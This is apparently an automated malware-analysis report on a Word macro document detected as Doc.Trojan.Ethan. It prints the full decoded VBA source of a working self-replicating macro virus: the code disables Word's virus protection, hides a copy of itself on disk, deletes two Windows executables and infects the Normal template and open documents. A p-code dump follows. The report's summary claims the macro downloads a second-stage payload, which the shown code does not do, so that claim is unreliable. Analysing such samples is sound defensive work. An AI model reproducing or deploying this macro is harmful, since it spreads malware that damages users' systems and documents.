Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bc885e48d5ddbcb9…

MALICIOUS

Office (OLE)

34.5 KB Created: 1999-09-08 08:59:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c3549066dd81f23d097fa82fbf3a96b5 SHA-1: e04def488e799d40c8ffeb095254ea91329e6c89 SHA-256: bc885e48d5ddbcb9ef53b87e4f39b0a077a6936e2f06977c8e2438c4ce73fdd8
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This Office document contains VBA macros that are designed to write their own code to a file named 'c:\johnny.___' and potentially execute it. The ClamAV heuristics also indicate that this file is a known malicious document type. The macro's intent is to download and execute a second-stage payload, but the full execution chain is not visible.

Heuristics 2

  • ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ethan-20
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6659 bytes
SHA-256: 8d4bf125f2c62a6119323d7d99b9bbc31edc48272da0623af3122c3a761ea3d6
Detection
ClamAV: Doc.Trojan.Ethan-9
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
S = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\johnny.___", 6) = "" Then
Open "c:\johnny.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
A = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, A
Next i
Close #1
SetAttr "c:\johnny.___", 6
End If
If Dir("c:\windows\cdplayer.exe") <> "" Then Kill "c:\windows\cdplayer.exe"
If Dir("c:\windows\winpopup.exe") <> "" Then Kill "c:\windows\winpopup.exe"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\johnny.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, A
t.CodeModule.InsertLines i, A
i = i + 1
Loop
q:
Close #1
If Rnd < 1 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Johnny Killer": .Author = "DeathJohnny": .Keywords = "Johnny is Back": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> S Then ActiveDocument.Saved = S
MsgBox "Johnny version 1.0"
End Sub

' Processing file: /opt/analyzer/scan_staging/3dbf1bd0e2e247349256bf66939bf21a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3513 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St S 
' Line #3:
' 	LitDI2 0x0001 
' 	UMi 
' 	Not 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #4:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #5:
' 	ArgsCall Read 0x0000 
' Line #6:
' 	LitStr 0x000D "c:\johnny.___"
' 	LitDI2 0x0006 
' 	ArgsLd Dir 0x0002 
' 	LitStr 0x0000 ""
' 	Eq 
' 	IfBlock 
' Line #7:
' 	LitStr 0x000D "c:\johnny.___"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #8:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	For 
' Line #9:
' 	Ld i 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld MacroContainer 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St A 
' Line #10:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	Ld A 
' 	PrintItemNL 
' Line #11:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #12:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #13:
' 	LitStr 0x000D "c:\johnny.___"
' 	LitDI2 0x0006 
' 	ArgsCall SetAttr 0x0002 
' Line #14:
' 	EndIfBlock 
' Line #15:
' 	LitStr 0x0017 "c:\windows\cdplayer.exe"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0017 "c:\windows\cdplayer.exe"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #16:
' 	LitStr 0x0017 "c:\windows\winpopup.exe"
' 	ArgsLd Dir 0x0001 
' 	LitStr 0x0000 ""
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0017 "c:\windows\winpopup.exe"
' 	ArgsCall Kill 0x0001 
' 	EndIf 
' Line #17:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	L
... (truncated)

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